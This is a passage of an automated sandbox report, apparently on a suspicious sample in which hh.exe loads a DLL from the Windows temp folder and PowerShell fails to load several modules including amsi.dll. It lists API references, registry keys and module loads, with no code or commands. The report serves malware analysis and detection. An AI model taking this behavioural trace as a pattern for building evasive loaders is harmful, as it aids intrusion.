00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp")34:T40e,"Software\Policies\Microsoft\Windows\System" in Source: 00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00006336.00000000.86016.13B68000.00000002.mdmp "HKLM\" in Source: 00000000-00006336.00000000.86016.13B68000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00006336.00000000.86016.13B68000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006336.00000000.86016.13B68000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00006336.00000000.86016.13B68000.00000002.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006336.00000000.86016.A9380000.00000004.mdmp 00000000-00006336.00000000.86016.F5030000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006336.00000000.86016.A9380000.00000004.mdmp 00000000-00006336.00000000.86016.F5030000.00000004.mdmp35:Tb1f,"hh.exe" failed to load missing module "phoneinfo.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]36:T593a,"hh.exe" loaded module "KERNEL32" at base 327b0000 "hh.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 31900000 "hh.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 31900000 "hh.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 31900000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 34f20000 "hh.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 31900000 "hh.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 31900000 "hh.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 31900000 "hh.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 29ff0000 "hh.exe" loaded module "IMM32.DLL" at base 34f20000 "hh.exe" loaded module "RPCRT4.DLL" at base 328c0000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\HHCTRL.OCX" at base 1fe80000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 2fc10000 "hh.exe" loaded module "KERNEL32.DLL" at base 327b0000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 327b0000 "hh.exe" loaded module "SHELL32.DLL" at base 32a90000 "hh.exe" loaded module "URLMON.DLL" at base 26e70000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\ITSS.DLL" at base 2a170000 "hh.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 329e0000 "hh.exe" loaded module 